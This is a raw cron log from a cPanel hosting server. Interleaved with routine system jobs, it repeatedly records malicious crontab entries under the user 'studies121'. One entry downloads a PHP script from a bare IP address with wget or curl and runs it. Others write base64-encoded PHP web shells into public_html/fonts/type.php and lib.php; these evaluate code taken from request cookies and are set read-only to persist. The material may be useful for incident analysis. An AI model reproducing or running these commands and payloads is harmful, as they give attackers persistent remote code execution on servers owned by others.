Sep 11 10:34:01 ip-184-168-122-23 CROND[17781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:34:01 ip-184-168-122-23 CROND[17782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:34:01 ip-184-168-122-23 CROND[17785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:34:01 ip-184-168-122-23 CROND[17783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:34:01 ip-184-168-122-23 CROND[17784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:35:01 ip-184-168-122-23 CROND[17891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17893]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:35:01 ip-184-168-122-23 CROND[17897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:36:01 ip-184-168-122-23 CROND[18001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:36:01 ip-184-168-122-23 CROND[18004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:36:01 ip-184-168-122-23 CROND[18008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:36:01 ip-184-168-122-23 CROND[18009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:36:01 ip-184-168-122-23 CROND[18010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:37:01 ip-184-168-122-23 CROND[18112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:37:01 ip-184-168-122-23 CROND[18111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:37:01 ip-184-168-122-23 CROND[18110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:37:01 ip-184-168-122-23 CROND[18113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:38:01 ip-184-168-122-23 CROND[18220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:38:01 ip-184-168-122-23 CROND[18222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:38:01 ip-184-168-122-23 CROND[18223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:38:01 ip-184-168-122-23 CROND[18224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:38:01 ip-184-168-122-23 CROND[18225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:39:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:39:02 ip-184-168-122-23 CROND[18404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:39:02 ip-184-168-122-23 CROND[18407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:39:02 ip-184-168-122-23 CROND[18409]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 10:39:02 ip-184-168-122-23 CROND[18408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:40:01 ip-184-168-122-23 CROND[18555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:40:01 ip-184-168-122-23 CROND[18556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:40:01 ip-184-168-122-23 CROND[18558]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:40:01 ip-184-168-122-23 CROND[18559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:40:01 ip-184-168-122-23 CROND[18562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:40:02 ip-184-168-122-23 CROND[18564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:40:02 ip-184-168-122-23 CROND[18560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:40:02 ip-184-168-122-23 CROND[18563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:41:01 ip-184-168-122-23 CROND[18696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:41:01 ip-184-168-122-23 CROND[18699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:41:01 ip-184-168-122-23 CROND[18702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:41:01 ip-184-168-122-23 CROND[18703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:42:01 ip-184-168-122-23 CROND[18817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:42:01 ip-184-168-122-23 CROND[18820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:42:01 ip-184-168-122-23 CROND[18821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:42:01 ip-184-168-122-23 CROND[18819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:42:01 ip-184-168-122-23 CROND[18823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:43:01 ip-184-168-122-23 CROND[18938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:43:01 ip-184-168-122-23 CROND[18940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:43:01 ip-184-168-122-23 CROND[18942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:43:01 ip-184-168-122-23 CROND[18941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:44:01 ip-184-168-122-23 CROND[19146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:44:01 ip-184-168-122-23 CROND[19144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:44:01 ip-184-168-122-23 CROND[19147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:44:01 ip-184-168-122-23 CROND[19143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:44:01 ip-184-168-122-23 CROND[19145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:45:01 ip-184-168-122-23 CROND[19270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:45:01 ip-184-168-122-23 CROND[19272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:45:01 ip-184-168-122-23 CROND[19273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:45:01 ip-184-168-122-23 CROND[19274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:45:02 ip-184-168-122-23 CROND[19277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:45:02 ip-184-168-122-23 CROND[19276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:46:01 ip-184-168-122-23 CROND[19417]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:46:01 ip-184-168-122-23 CROND[19420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
